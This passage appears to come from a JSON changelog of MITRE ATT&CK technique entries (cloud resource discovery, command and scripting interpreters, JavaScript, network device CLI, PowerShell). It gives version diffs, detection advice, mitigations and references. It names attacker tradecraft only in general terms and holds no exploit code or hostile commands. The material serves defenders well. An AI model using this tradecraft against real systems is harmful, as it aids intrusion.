>mpute Instances), and Azure's CLI command <code>az vm list</> <code>gcloud compute instances list</code> command to list 
>code> lists details of virtual machines.(Citation: Microsoft>all Google Compute Engine instances in a project (Citation: 
> AZ CLI)  An adversary may enumerate resources using a compr>Google Compute Instances), and Azure's CLI command <code>az 
>omised user's access keys to determine which are available t>vm list</code> lists details of virtual machines.(Citation: 
>o that user.(Citation: Expel IO Evil in AWS) The discovery o>Microsoft AZ CLI)  An adversary may enumerate resources usin
>f these available resources may help adversaries determine t>g a compromised user's access keys to determine which are av
>heir next steps in the Cloud environment, such as establishi>ailable to that user.(Citation: Expel IO Evil in AWS) The di
>ng Persistence.(Citation: Mandiant M-Trends 2020) Unlike in >scovery of these available resources may help adversaries de
>[Cloud Service Discovery](https://attack.mitre.org/technique>termine their next steps in the Cloud environment, such as e
>s/T1526), this technique focuses on the discovery of compone>stablishing Persistence.(Citation: Mandiant M-Trends 2020)An
>nts of the provided services rather than the services themse> adversary may also use this information to change the confi
>lves.>guration to make the bucket publicly accessible, allowing da
 >ta to be accessed without authentication. Adversaries have a
 >lso may use infrastructure discovery APIs such as <code>Desc
 >ribeDBInstances</code> to determine size, owner, permissions
 >, and network ACLs of database resources. (Citation: AWS Des
 >cribe DB Instances) Adversaries can use this information to 
 >determine the potential value of databases and discover the 
 >requirements to access them. Unlike in [Cloud Service Discov
 >ery](https://attack.mitre.org/techniques/T1526), this techni
 >que focuses on the discovery of components of the provided s
 >ervices rather than the services themselves.
", "changelog_mitigations": { "shared": [ "M1018: User Account Management" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0010: Cloud Storage (Cloud Storage Enumeration)", "DS0010: Cloud Storage (Cloud Storage Metadata)", "DS0020: Snapshot (Snapshot Enumeration)", "DS0020: Snapshot (Snapshot Metadata)", "DS0030: Instance (Instance Enumeration)", "DS0030: Instance (Instance Metadata)", "DS0034: Volume (Volume Enumeration)", "DS0034: Volume (Volume Metadata)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:30:49.546000+00:00", "modified": "2021-08-16 21:03:21.700000+00:00", "name": "Command and Scripting Interpreter", "description": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nThere are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).\n\nAdversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell Execution in Python)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "execution" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1059", "external_id": "T1059" }, { "source_name": "Powershell Remote Commands", "description": "Microsoft. (2020, August 21). Running Remote Commands. Retrieved July 26, 2021.", "url": "https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.1" }, { "source_name": "Cisco IOS Software Integrity Assurance - Command History", "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.", "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23" }, { "source_name": "Remote Shell Execution in Python", "description": "Abdou Rockikz. (2020, July). How to Execute Shell Commands in a Remote Machine in Python. Retrieved July 26, 2021.", "url": "https://www.thepythoncode.com/article/executing-bash-commands-remotely-in-python" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Command: Command Execution", "Process: Process Creation", "Module: Module Load", "Script: Script Execution" ], "x_mitre_detection": "Command-line and scripting activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages.\n\nIf scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Linux", "macOS", "Windows", "Network" ], "x_mitre_remote_support": true, "x_mitre_version": "2.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-16 21:03:21.700000+00:00\", \"old_value\": \"2021-04-27 19:21:06.164000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n\\nThere are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).\\n\\nAdversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell Execution in Python)\", \"old_value\": \"Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n\\nThere are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).\\n\\nAdversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells.\", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,4 @@\\n \\n There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).\\n \\n-Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells.\\n+Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell Execution in Python)\"}, \"root['x_mitre_remote_support']\": {\"new_value\": true, \"old_value\": false}, \"root['x_mitre_version']\": {\"new_value\": \"2.2\", \"old_value\": \"2.1\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"Powershell Remote Commands\", \"description\": \"Microsoft. (2020, August 21). Running Remote Commands. Retrieved July 26, 2021.\", \"url\": \"https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.1\"}, \"root['external_references'][2]\": {\"source_name\": \"Cisco IOS Software Integrity Assurance - Command History\", \"description\": \"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.\", \"url\": \"https://tools.cisco.com/security/center/resources/integrity_assurance.html#23\"}, \"root['external_references'][3]\": {\"source_name\": \"Remote Shell Execution in Python\", \"description\": \"Abdou Rockikz. (2020, July). How to Execute Shell Commands in a Remote Machine in Python. Retrieved July 26, 2021.\", \"url\": \"https://www.thepythoncode.com/article/executing-bash-commands-remotely-in-python\"}}}", "previous_version": "2.1", "version_change": "2.1 \u2192 2.2", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may abuse command and script interpreters to exet1Adversaries may abuse command and script interpreters to exe
>cute commands, scripts, or binaries. These interfaces and la>cute commands, scripts, or binaries. These interfaces and la
>nguages provide ways of interacting with computer systems an>nguages provide ways of interacting with computer systems an
>d are a common feature across many different platforms. Most>d are a common feature across many different platforms. Most
> systems come with some built-in command-line interface and > systems come with some built-in command-line interface and 
>scripting capabilities, for example, macOS and Linux distrib>scripting capabilities, for example, macOS and Linux distrib
>utions include some flavor of [Unix Shell](https://attack.mi>utions include some flavor of [Unix Shell](https://attack.mi
>tre.org/techniques/T1059/004) while Windows installations in>tre.org/techniques/T1059/004) while Windows installations in
>clude the [Windows Command Shell](https://attack.mitre.org/t>clude the [Windows Command Shell](https://attack.mitre.org/t
>echniques/T1059/003) and [PowerShell](https://attack.mitre.o>echniques/T1059/003) and [PowerShell](https://attack.mitre.o
>rg/techniques/T1059/001).  There are also cross-platform int>rg/techniques/T1059/001).  There are also cross-platform int
>erpreters such as [Python](https://attack.mitre.org/techniqu>erpreters such as [Python](https://attack.mitre.org/techniqu
>es/T1059/006), as well as those commonly associated with cli>es/T1059/006), as well as those commonly associated with cli
>ent applications such as [JavaScript](https://attack.mitre.o>ent applications such as [JavaScript](https://attack.mitre.o
>rg/techniques/T1059/007) and [Visual Basic](https://attack.m>rg/techniques/T1059/007) and [Visual Basic](https://attack.m
>itre.org/techniques/T1059/005).  Adversaries may abuse these>itre.org/techniques/T1059/005).  Adversaries may abuse these
> technologies in various ways as a means of executing arbitr> technologies in various ways as a means of executing arbitr
>ary commands. Commands and scripts can be embedded in [Initi>ary commands. Commands and scripts can be embedded in [Initi
>al Access](https://attack.mitre.org/tactics/TA0001) payloads>al Access](https://attack.mitre.org/tactics/TA0001) payloads
> delivered to victims as lure documents or as secondary payl> delivered to victims as lure documents or as secondary payl
>oads downloaded from an existing C2. Adversaries may also ex>oads downloaded from an existing C2. Adversaries may also ex
>ecute commands through interactive terminals/shells.>ecute commands through interactive terminals/shells, as well
 > as utilize various [Remote Services](https://attack.mitre.o
 >rg/techniques/T1021) in order to achieve remote Execution.(C
 >itation: Powershell Remote Commands)(Citation: Cisco IOS Sof
 >tware Integrity Assurance - Command History)(Citation: Remot
 >e Shell Execution in Python)
", "changelog_mitigations": { "shared": [ "M1021: Restrict Web-Based Content", "M1026: Privileged Account Management", "M1038: Execution Prevention", "M1042: Disable or Remove Feature or Program", "M1045: Code Signing", "M1049: Antivirus/Antimalware" ], "new": [ "M1040: Behavior Prevention on Endpoint" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0011: Module (Module Load)", "DS0012: Script (Script Execution)", "DS0017: Command (Command Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-06-23 19:12:24.924000+00:00", "modified": "2021-08-16 21:02:05.142000+00:00", "name": "JavaScript", "description": "Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)\n\nJScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)\n\nJavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple\u2019s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple\u2019s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple\u2019s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). Scripts can be executed via the command line utility osascript, they can be compiled into applications or script files via osacompile, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)\n\nAdversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "execution" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1059/007", "external_id": "T1059.007" }, { "source_name": "NodeJS", "description": "OpenJS Foundation. (n.d.). Node.js. Retrieved June 23, 2020.", "url": "https://nodejs.org/" }, { "source_name": "JScrip May 2018", "description": "Microsoft. (2018, May 31). Translating to JScript. Retrieved June 23, 2020.", "url": "https://docs.microsoft.com/windows/win32/com/translating-to-jscript" }, { "source_name": "Microsoft JScript 2007", "description": "Microsoft. (2007, August 15). The World of JScript, JavaScript, ECMAScript \u2026. Retrieved June 23, 2020.", "url": "https://docs.microsoft.com/archive/blogs/gauravseth/the-world-of-jscript-javascript-ecmascript" }, { "source_name": "Microsoft Windows Scripts", "description": "Microsoft. (2017, January 18). Windows Script Interfaces. Retrieved June 23, 2020.", "url": "https://docs.microsoft.com/scripting/winscript/windows-script-interfaces" }, { "source_name": "Apple About Mac Scripting 2016", "description": "Apple. (2016, June 13). About Mac Scripting. Retrieved April 14, 2021.", "url": "https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html" }, { "source_name": "SpecterOps JXA 2020", "description": "Pitt, L. (2020, August 6). Persistent JXA. Retrieved April 14, 2021.", "url": "https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5" }, { "source_name": "SentinelOne macOS Red Team", "description": "Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020.", "url": "https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/" }, { "source_name": "Red Canary Silver Sparrow Feb2021", "description": "Tony Lambert. (2021, February 18). Clipping Silver Sparrow\u2019s wings: Outing macOS malware before it takes flight. Retrieved April 20, 2021.", "url": "https://redcanary.com/blog/clipping-silver-sparrows-wings/" }, { "source_name": "MDSec macOS JXA and VSCode", "description": "Dominic Chell. (2021, January 1). macOS Post-Exploitation Shenanigans with VSCode Extensions. Retrieved April 20, 2021.", "url": "https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Cody Thomas, SpecterOps" ], "x_mitre_data_sources": [ "Command: Command Execution", "Process: Process Creation", "Module: Module Load", "Script: Script Execution" ], "x_mitre_detection": "Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source.\n\nMonitor for execution of JXA through osascript and usage of OSAScript API that may be related to other suspicious behavior occurring on the system.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User", "Administrator", "SYSTEM" ], "x_mitre_platforms": [ "Windows", "macOS", "Linux" ], "x_mitre_version": "2.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-16 21:02:05.142000+00:00\", \"old_value\": \"2021-04-27 19:21:05.521000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.1\", \"old_value\": \"2.0\"}}}", "previous_version": "2.0", "version_change": "2.0 \u2192 2.1", "changelog_mitigations": { "shared": [ "M1021: Restrict Web-Based Content", "M1038: Execution Prevention", "M1042: Disable or Remove Feature or Program" ], "new": [ "M1040: Behavior Prevention on Endpoint" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0011: Module (Module Load)", "DS0012: Script (Script Execution)", "DS0017: Command (Command Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--818302b2-d640-477b-bf88-873120ce85c4", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-10-20 00:09:33.072000+00:00", "modified": "2021-07-26 15:57:50.800000+00:00", "name": "Network Device CLI", "description": "Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. \n\nScripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).\n\nAdversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection. (Citation: Cisco Synful Knock Evolution)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "execution" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1059/008", "external_id": "T1059.008" }, { "source_name": "Cisco Synful Knock Evolution", "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.", "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices" }, { "source_name": "Cisco IOS Software Integrity Assurance - Command History", "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.", "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Command: Command Execution" ], "x_mitre_detection": "Consider reviewing command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration.(Citation: Cisco IOS Software Integrity Assurance - Command History)\n\nConsider comparing a copy of the network device configuration against a known-good version to discover unauthorized changes to the command interpreter. The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "Administrator", "User" ], "x_mitre_platforms": [ "Network" ], "x_mitre_remote_support": true, "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": true}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-07-26 15:57:50.800000+00:00\", \"old_value\": \"2020-10-22 16:43:38.388000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. \\n\\nScripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).\\n\\nAdversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection. (Citation: Cisco Synful Knock Evolution)\", \"old_value\": \"Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. \\n\\nScripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or secure shell (SSH).\\n\\nAdversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection. (Citation: Cisco Synful Knock Evolution)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. \\n \\n-Scripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or secure shell (SSH).\\n+Scripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).\\n \\n Adversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection. (Citation: Cisco Synful Knock Evolution)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may abuse scripting or built-in command line intt1Adversaries may abuse scripting or built-in command line int
>erpreters (CLI) on network devices to execute malicious comm>erpreters (CLI) on network devices to execute malicious comm
>and and payloads. The CLI is the primary means through which>and and payloads. The CLI is the primary means through which
> users and administrators interact with the device in order > users and administrators interact with the device in order 
>to view system information, modify device operations, or per>to view system information, modify device operations, or per
>form diagnostic and administrative functions. CLIs typically>form diagnostic and administrative functions. CLIs typically
> contain various permission levels required for different co> contain various permission levels required for different co
>mmands.   Scripting interpreters automate tasks and extend f>mmands.   Scripting interpreters automate tasks and extend f
>unctionality beyond the command set included in the network >unctionality beyond the command set included in the network 
>OS. The CLI and scripting interpreter are accessible through>OS. The CLI and scripting interpreter are accessible through
> a direct console connection, or through remote means, such > a direct console connection, or through remote means, such 
>as telnet or secure shell (SSH).  Adversaries can use the ne>as telnet or [SSH](https://attack.mitre.org/techniques/T1021
>twork CLI to change how network devices behave and operate. >/004).  Adversaries can use the network CLI to change how ne
>The CLI may be used to manipulate traffic flows to intercept>twork devices behave and operate. The CLI may be used to man
> or manipulate data, modify startup configuration parameters>ipulate traffic flows to intercept or manipulate data, modif
> to load malicious system software, or to disable security f>y startup configuration parameters to load malicious system 
>eatures or logging to avoid detection. (Citation: Cisco Synf>software, or to disable security features or logging to avoi
>ul Knock Evolution)>d detection. (Citation: Cisco Synful Knock Evolution)
", "changelog_mitigations": { "shared": [ "M1018: User Account Management", "M1026: Privileged Account Management", "M1038: Execution Prevention" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0017: Command (Command Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-03-09 13:48:55.078000+00:00", "modified": "2021-05-28 14:56:23.748000+00:00", "name": "PowerShell", "description": "Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).\n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "execution" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1059/001", "external_id": "T1059.001" }, { "source_name": "TechNet PowerShell", "description": "Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016.", "url": "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx" }, { "source_name": "Github PSAttack", "description": "Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016.", "url": "https://github.com/jaredhaight/PSAttack" }, { "source_name": "Sixdub PowerPick Jan 2016", "description": "Warner, J.. (2015, January 6). Inexorable PowerShell \u2013 A Red Teamer\u2019s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018.", "url": "http://www.sixdub.net/?p=367" }, { "source_name": "SilentBreak Offensive PS Dec 2015", "description": "Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018.", "url": "https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/" }, { "source_name": "Microsoft PSfromCsharp APR 2014", "description": "Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019.", "url": "https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/" }, { "source_name": "Malware Archaeology PowerShell Cheat Sheet", "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.", "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf" }, { "source_name": "FireEye PowerShell Logging 2016", "description": "Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016.", "url": "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Praetorian" ], "x_mitre_data_sources": [ "Command: Command Execution", "Module: Module Load", "Process: Process Creation", "Script: Script Execution" ], "x_mitre_detection": "If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nMonitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User", "Administrator" ], 